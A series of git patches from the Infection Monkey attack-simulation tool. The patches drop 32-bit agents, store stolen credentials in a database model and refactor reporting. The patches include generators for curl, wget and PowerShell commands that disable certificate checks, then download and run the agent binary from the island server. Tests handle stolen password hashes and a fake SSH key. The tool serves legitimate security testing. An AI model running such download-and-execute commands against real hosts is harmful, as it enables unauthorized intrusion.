-@pytest.mark.usefixtures("uses_database", "fake_mongo") +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_special_username_parsing(): parse_credentials(cred_telem_special_usernames) config = ConfigService.get_config(should_decrypt=True) assert fake_special_username in dpath.util.get(config, USER_LIST_PATH) -@pytest.mark.usefixtures("uses_database", "fake_mongo") +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_cred_telemetry_parsing(): parse_credentials(cred_telem) config = ConfigService.get_config(should_decrypt=True) @@ -75,7 +77,20 @@ def test_cred_telemetry_parsing(): assert fake_password in dpath.util.get(config, PASSWORD_LIST_PATH) -@pytest.mark.usefixtures("uses_database", "fake_mongo") +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_cred_storage_in_db(): + parse_credentials(cred_telem) + cred_docs = list(StolenCredentials.objects()) + assert len(cred_docs) == 1 + + stolen_creds = cred_docs[0] + assert fake_username == stolen_creds.identities[0]["username"] + assert CredentialComponentType.PASSWORD.name in stolen_creds.secrets + assert CredentialComponentType.LM_HASH.name in stolen_creds.secrets + assert CredentialComponentType.NT_HASH.name in stolen_creds.secrets + + +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") def test_empty_cred_telemetry_parsing(): default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) default_usernames = dpath.util.get(default_config, USER_LIST_PATH) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py index 2d012c4ee..52abf5705 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py @@ -4,18 +4,15 @@ import dpath.util import pytest from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials.conftest import ( CREDENTIAL_TELEM_TEMPLATE, + fake_ip_address, ) from common.config_value_paths import SSH_KEYS_PATH, USER_LIST_PATH -from monkey_island.cc.models import Monkey from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( parse_credentials, ) -fake_monkey_guid = "272405690278083" -fake_ip_address = "192.168.56.1" - fake_private_key = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1N\n" fake_partial_secret = {"private_key": fake_private_key, "credential_type": "SSH_KEYPAIR"} @@ -35,12 +32,6 @@ ssh_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) ssh_telem["data"] = [{"identities": [fake_identity], "secrets": [fake_secret_full]}] -@pytest.fixture -def insert_fake_monkey(): - monkey = Monkey(guid=fake_monkey_guid, ip_addresses=[fake_ip_address]) - monkey.save() - - @pytest.mark.usefixtures("uses_encryptor", "uses_database", "fake_mongo", "insert_fake_monkey") def test_ssh_credential_parsing(): parse_credentials(ssh_telem) From cf56fcbef24399c312cff969267e9e0c8aa0e40c Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 25 Feb 2022 10:17:18 +0200 Subject: [PATCH 0577/1110] UT: removed telemetry encryption test --- .../models/telemetries/test_telemetry_dal.py | 22 ------------------- 1 file changed, 22 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index 77003ec8f..d3582bf79 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -51,28 +51,6 @@ def fake_mongo(monkeypatch): monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) -@pytest.mark.slow -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_telemetry_encryption(): - secret_keys = ["password", "lm_hash", "ntlm_hash"] - - save_telemetry(MOCK_TELEMETRY) - - encrypted_telemetry = Telemetry.objects.first() - for user in MOCK_CREDENTIALS.keys(): - assert encrypted_telemetry["data"]["credentials"][user]["username"] == user - - for s in secret_keys: - assert encrypted_telemetry["data"]["credentials"][user][s] != MOCK_CREDENTIALS[user][s] - - decrypted_telemetry = get_telemetry_by_query({})[0] - for user in MOCK_CREDENTIALS.keys(): - assert decrypted_telemetry["data"]["credentials"][user]["username"] == user - - for s in secret_keys: - assert decrypted_telemetry["data"]["credentials"][user][s] == MOCK_CREDENTIALS[user][s] - - @pytest.mark.slow @pytest.mark.usefixtures("uses_database", "uses_encryptor") def test_no_encryption_needed(): From 02d81771a94196c18788195018335e117c3ab7b4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 25 Feb 2022 17:13:19 +0200 Subject: [PATCH 0578/1110] Island: remove remaining references to "creds" property of monkey --- monkey/monkey_island/cc/resources/monkey.py | 3 --- monkey/monkey_island/cc/services/node.py | 9 --------- 2 files changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index ae8493398..b32ecbb83 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -69,7 +69,6 @@ class Monkey(flask_restful.Resource): def post(self, **kw): with agent_killing_mutex: monkey_json = json.loads(request.data) - monkey_json["creds"] = [] monkey_json["dead"] = False if "keepalive" in monkey_json: monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) @@ -163,8 +162,6 @@ class Monkey(flask_restful.Resource): EdgeService.update_all_dst_nodes( old_dst_node_id=node_id, new_dst_node_id=new_monkey_id ) - for creds in existing_node["creds"]: - NodeService.add_credentials_to_monkey(new_monkey_id, creds) mongo.db.node.remove({"_id": node_id}) return {"id": new_monkey_id} diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 79c3408bf..74fb1b091 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -202,7 +202,6 @@ class NodeService: "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, - "creds": [], "os": {"type": "unknown", "version": "unknown"}, } ) @@ -318,14 +317,6 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() - @staticmethod - def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) - - @staticmethod - def add_credentials_to_node(node_id, creds): - mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) - @staticmethod def get_node_or_monkey_by_ip(ip_address): node = NodeService.get_node_by_ip(ip_address) From 10cfe346b6ef047a27fc9503c7be9be6502bf69b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 25 Feb 2022 12:42:32 +0100 Subject: [PATCH 0579/1110] Island: Remove 32bit manual run options --- .../RunManually/LocalManualRunOptions.js | 12 +++++------- .../components/pages/RunMonkeyPage/RunOptions.js | 2 +- .../RunMonkeyPage/commands/local_linux_curl.js | 14 +++++--------- .../RunMonkeyPage/commands/local_linux_wget.js | 12 ++++-------- .../commands/local_windows_powershell.js | 12 ++++-------- .../pages/RunMonkeyPage/utils/OsTypes.js | 2 -- .../report-components/security/PostBreachParser.js | 2 +- 7 files changed, 20 insertions(+), 36 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js index 116ba5440..9d0469aca 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunManually/LocalManualRunOptions.js @@ -20,9 +20,7 @@ const getContents = (props) => { const osTypes = { [OS_TYPES.WINDOWS_64]: 'Windows 64bit', - [OS_TYPES.WINDOWS_32]: 'Windows 32bit', - [OS_TYPES.LINUX_64]: 'Linux 64bit', - [OS_TYPES.LINUX_32]: 'Linux 32bit' + [OS_TYPES.LINUX_64]: 'Linux 64bit' } const [osType, setOsType] = useState(OS_TYPES.WINDOWS_64); @@ -48,11 +46,11 @@ const getContents = (props) => { } function generateCommands() { - if (osType === OS_TYPES.WINDOWS_64 || osType === OS_TYPES.WINDOWS_32) { - return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}] + if (osType === OS_TYPES.WINDOWS_64) { + return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}] } else { - return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)}, - {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}] + return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)}, + {type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}] } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 7c099f224..bbefb64ac 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -5,7 +5,7 @@ import AuthComponent from '../../AuthComponent'; import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode'; import InlineSelection from '../../ui-components/inline-selection/InlineSelection'; import {cloneDeep} from 'lodash'; -import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; +import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons'; import RunOnIslandButton from './RunOnIslandButton'; import AWSRunButton from './RunOnAWS/AWSRunButton'; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js index ed9ffdec6..ceaeab393 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_curl.js @@ -1,12 +1,8 @@ -import {OS_TYPES} from '../utils/OsTypes'; - - -export default function generateLocalLinuxCurl(ip, osType, username) { - let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64'; - let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k ` - + `-o monkey-linux-${bitText}; ` - + `chmod +x monkey-linux-${bitText}; ` - + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`; +export default function generateLocalLinuxCurl(ip, username) { + let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k ` + + `-o monkey-linux-64; ` + + `chmod +x monkey-linux-64; ` + + `./monkey-linux-64 m0nk3y -s ${ip}:5000;`; if (username != '') { command = `su - ${username} -c "${command}"`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js index 3f47dc996..0540540e7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,12 +1,8 @@ -import {OS_TYPES} from '../utils/OsTypes'; - - -export default function generateLocalLinuxWget(ip, osType, username) { - let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64'; +export default function generateLocalLinuxWget(ip, username) { let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` - + `monkey-linux-${bitText}; ` - + `chmod +x monkey-linux-${bitText}; ` - + `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`; + + `monkey-linux-64; ` + + `chmod +x monkey-linux-64; ` + + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; if (username != '') { command = `su - ${username} -c "${command}"`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 5c7d5c9a6..de5346f30 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,18 +1,14 @@ -import {OS_TYPES} from '../utils/OsTypes'; - - -function getAgentDownloadCommand(ip, osType) { - let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; +function getAgentDownloadCommand(ip) { return `$execCmd = @"\r\n` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; } -export default function generateLocalWindowsPowershell(ip, osType, username) { - let command = getAgentDownloadCommand(ip, osType) +export default function generateLocalWindowsPowershell(ip, username) { + let command = getAgentDownloadCommand(ip) if (username !== '') { command += ` -Credential ${username}`; } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js index b24c9b302..1d898af01 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js @@ -1,6 +1,4 @@ export const OS_TYPES = { - WINDOWS_32: 'win32', WINDOWS_64: 'win64', - LINUX_32: 'linux32', LINUX_64: 'linux64' } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index 843ca89dd..0a41f2c24 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -46,7 +46,7 @@ function aggregateMultipleResultsPba(results) { } function modifyProcessListCollectionResult(result) { - result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes"; + result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes'; } // check for pbas with multiple results and aggregate their results From 1bf51cd04702f6843fedb581f33ac3a498417064 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Feb 2022 22:46:33 +0530 Subject: [PATCH 0580/1110] Agent: Fix function call (misspelled) in WebRCE --- monkey/infection_monkey/exploit/web_rce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index cdb0ddce9..47ceca3ea 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -274,7 +274,7 @@ class WebRCE(HostExploiter): "monkey_path": dest_path, "http_path": http_path, } - self.telemetry_messenger.send_telemtry( + self.telemetry_messenger.send_telemetry( T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING) ) resp = self.exploit(url, backup_command) @@ -334,10 +334,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) - self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host)) + self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host)) except Exception as e: logger.error("Something went wrong while trying to change permission: %s" % e) - self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host)) + self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host)) return False # If exploiter returns True / False if isinstance(resp, bool): From 62263b8fbf42310e0104b98f2e6ba6c4af940642 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 25 Feb 2022 23:04:03 +0530 Subject: [PATCH 0581/1110] Agent: Remove 32-bit references from Hadoop --- monkey/infection_monkey/exploit/tools/helpers.py | 9 +++------ monkey/infection_monkey/exploit/web_rce.py | 3 +-- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index a0b53d0e7..2c98e2b2e 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -29,11 +29,8 @@ def get_target_monkey(host): if not monkey_path: if host.os.get("type") == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, - # use our exe - if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( - "machine", "" - ).lower() == platform.machine().lower(): + # if exe not found, and we have the same arch, use our exe + if host.os.get("machine", "").lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path @@ -54,7 +51,7 @@ def get_monkey_depth(): def get_monkey_dest_path(url_to_monkey): """ Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe :return: Corresponding monkey path from configuration """ from infection_monkey.config import WormConfiguration diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 47ceca3ea..7bc02a694 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -432,8 +432,7 @@ class WebRCE(HostExploiter): except KeyError: logger.error( 'Unknown key was found. Please use "linux" and "win64" keys to ' - "initialize " - "custom dict of monkey's destination paths" + "initialize custom dict of monkey's destination paths" ) return False From dc8bd7008e88b094f1993925d1d89f81de492604 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 25 Feb 2022 14:45:57 -0500 Subject: [PATCH 0582/1110] Deploy: Remove 32-bit agents from Windows deployment script --- deployment_scripts/config.ps1 | 4 ---- deployment_scripts/deploy_windows.ps1 | 2 -- 2 files changed, 6 deletions(-) diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index e4dc7484b..2a647a328 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -12,12 +12,8 @@ $PYTHON_URL = "https://www.python.org/ftp/python/3.7.7/python-3.7.7-amd64.exe" # Monkey binaries -$LINUX_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-32" -$LINUX_32_BINARY_PATH = "monkey-linux-32" $LINUX_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-linux-64" $LINUX_64_BINARY_PATH = "monkey-linux-64" -$WINDOWS_32_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-32.exe" -$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" $WINDOWS_64_BINARY_URL = $MONKEY_DOWNLOAD_URL + "monkey-windows-64.exe" $WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" diff --git a/deployment_scripts/deploy_windows.ps1 b/deployment_scripts/deploy_windows.ps1 index 22d228346..f5d313322 100644 --- a/deployment_scripts/deploy_windows.ps1 +++ b/deployment_scripts/deploy_windows.ps1 @@ -209,9 +209,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, "Adding binaries" $binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries") New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue - $webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH)) $webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH)) - $webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH)) $webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH)) } From ec9d3822a60de8290935671432aab4d7da1dbfb3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Sat, 26 Feb 2022 12:55:09 +0530 Subject: [PATCH 0583/1110] Island: Remove logic to download 32-bit monkeys --- .../cc/resources/monkey_download.py | 48 ++----------------- .../cc/services/run_local_monkey.py | 2 +- 2 files changed, 6 insertions(+), 44 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 24e03280c..ee77091af 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -11,61 +11,23 @@ from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) MONKEY_DOWNLOADS = [ - { - "type": "linux", - "machine": "x86_64", - "filename": "monkey-linux-64", - }, - { - "type": "linux", - "machine": "i686", - "filename": "monkey-linux-32", - }, - { - "type": "linux", - "machine": "i386", - "filename": "monkey-linux-32", - }, { "type": "linux", "filename": "monkey-linux-64", }, { "type": "windows", - "machine": "x86", - "filename": "monkey-windows-32.exe", - }, - { - "type": "windows", - "machine": "amd64", "filename": "monkey-windows-64.exe", }, - { - "type": "windows", - "machine": "64", - "filename": "monkey-windows-64.exe", - }, - { - "type": "windows", - "machine": "32", - "filename": "monkey-windows-32.exe", - }, - { - "type": "windows", - "filename": "monkey-windows-32.exe", - }, ] -def get_monkey_executable(host_os, machine): +def get_monkey_executable(host_os): for download in MONKEY_DOWNLOADS: - if host_os == download.get("type") and machine == download.get("machine"): - logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) + if host_os == download.get("type"): + logger.info(f"Monkey exec found for os: {host_os}") return download - logger.warning( - "No monkey executables could be found for the host os or machine or both: host_os: {" - "0}, machine: {1}".format(host_os, machine) - ) + logger.warning(f"No monkey executables could be found for the host os: {host_os}") return None @@ -80,7 +42,7 @@ class MonkeyDownload(flask_restful.Resource): host_json = json.loads(request.data) host_os = host_json.get("os") if host_os: - result = get_monkey_executable(host_os.get("type"), host_os.get("machine")) + result = get_monkey_executable(host_os.get("type")) if result: # change resulting from new base path diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index ce6c98c61..4cdd89479 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -25,7 +25,7 @@ class LocalMonkeyRunService: @staticmethod def run_local_monkey(): # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) + result = get_monkey_executable(platform.system().lower()) if not result: return False, "OS Type not found" From 40820a5ba501d9b9affc7680ceaa882ec212fa4e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 25 Feb 2022 17:28:07 +0200 Subject: [PATCH 0584/1110] Island: refactor report generation to take credentials from model Reporting used to fetch credentials from telemetries, but they are no longer stored. Instead, credentials are being fetched from stolen_credentials collection --- .../attack/technique_reports/T1003.py | 28 +--- .../cc/services/reporting/report.py | 121 ++---------------- .../services/reporting/stolen_credentials.py | 59 +++++++++ .../report-components/SecurityReport.js | 2 +- .../reporting/test_stolen_credentials.py | 97 ++++++++++++++ 5 files changed, 172 insertions(+), 135 deletions(-) create mode 100644 monkey/monkey_island/cc/services/reporting/stolen_credentials.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index c842436dd..81cd7ad69 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -1,7 +1,7 @@ from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import StolenCredentials from monkey_island.cc.services.attack.technique_reports import AttackTechnique -from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.reporting.stolen_credentials import get_stolen_creds class T1003(AttackTechnique): @@ -14,29 +14,10 @@ class T1003(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = { - "$or": [ - { - "telem_category": "system_info", - "$and": [ - {"data.credentials": {"$exists": True}}, - {"data.credentials": {"$gt": {}}}, - ], - }, # $gt: {} checks if field is not an empty object - { - "telem_category": "exploit", - "$and": [ - {"data.info.credentials": {"$exists": True}}, - {"data.info.credentials": {"$gt": {}}}, - ], - }, - ] - } - @staticmethod def get_report_data(): def get_technique_status_and_data(): - if mongo.db.telemetry.count_documents(T1003.query): + if list(StolenCredentials.objects()): status = ScanStatus.USED.value else: status = ScanStatus.UNSCANNED.value @@ -47,6 +28,5 @@ class T1003(AttackTechnique): data.update(T1003.get_message_and_status(status)) data.update(T1003.get_mitigation_by_status(status)) - data["stolen_creds"] = ReportService.get_stolen_creds() - data["stolen_creds"].extend(ReportService.get_ssh_keys()) + data["stolen_creds"] = get_stolen_creds() return data diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 8d93d8062..3ac0c0364 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -16,7 +16,6 @@ from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.models.report import get_report, save_report -from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, @@ -26,22 +25,21 @@ from monkey_island.cc.services.reporting.exploitations.manual_exploitation impor from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_monkey_exploited, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501 - ExploiterDescriptorEnum, -) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501 - CredentialType, -) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 - ExploiterReportInfo, -) from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.reporting.report_generation_synchronisation import ( safe_generate_regular_report, ) +from monkey_island.cc.services.reporting.stolen_credentials import ( + extract_ssh_keys, + get_stolen_creds, +) from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses +from .issue_processing.exploit_processing.exploiter_descriptor_enum import ExploiterDescriptorEnum +from .issue_processing.exploit_processing.processors.cred_exploit import CredentialType +from .issue_processing.exploit_processing.processors.exploit import ExploiterReportInfo + logger = logging.getLogger(__name__) @@ -133,104 +131,6 @@ class ReportService: nodes = nodes_without_monkeys + nodes_with_monkeys return nodes - @staticmethod - def get_stolen_creds(): - creds = [] - - stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems() - creds.extend(stolen_system_info_creds) - - stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() - creds.extend(stolen_exploit_creds) - - logger.info("Stolen creds generated for reporting") - return creds - - @staticmethod - def _get_credentials_from_system_info_telems(): - formatted_creds = [] - for telem in get_telemetry_by_query( - {"telem_category": "system_info", "data.credentials": {"$exists": True}}, - {"data.credentials": 1, "monkey_guid": 1}, - ): - creds = telem["data"]["credentials"] - origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"] - formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) - return formatted_creds - - @staticmethod - def _get_credentials_from_exploit_telems(): - formatted_creds = [] - for telem in mongo.db.telemetry.find( - {"telem_category": "exploit", "data.info.credentials": {"$exists": True}}, - {"data.info.credentials": 1, "data.machine": 1, "monkey_guid": 1}, - ): - creds = telem["data"]["info"]["credentials"] - domain_name = telem["data"]["machine"]["domain_name"] - ip = telem["data"]["machine"]["ip_addr"] - origin = domain_name if domain_name else ip - formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds, origin)) - return formatted_creds - - @staticmethod - def _format_creds_for_reporting(telem, monkey_creds, origin): - creds = [] - CRED_TYPE_DICT = { - "password": "Clear Password", - "lm_hash": "LM hash", - "ntlm_hash": "NTLM hash", - } - if len(monkey_creds) == 0: - return [] - - for user in monkey_creds: - for cred_type in CRED_TYPE_DICT: - if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: - continue - username = ( - monkey_creds[user]["username"] if "username" in monkey_creds[user] else user - ) - cred_row = { - "username": username, - "type": CRED_TYPE_DICT[cred_type], - "origin": origin, - } - if cred_row not in creds: - creds.append(cred_row) - return creds - - @staticmethod - def get_ssh_keys(): - """ - Return private ssh keys found as credentials - :return: List of credentials - """ - creds = [] - for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.ssh_info": {"$exists": True}}, - {"data.ssh_info": 1, "monkey_guid": 1}, - ): - origin = 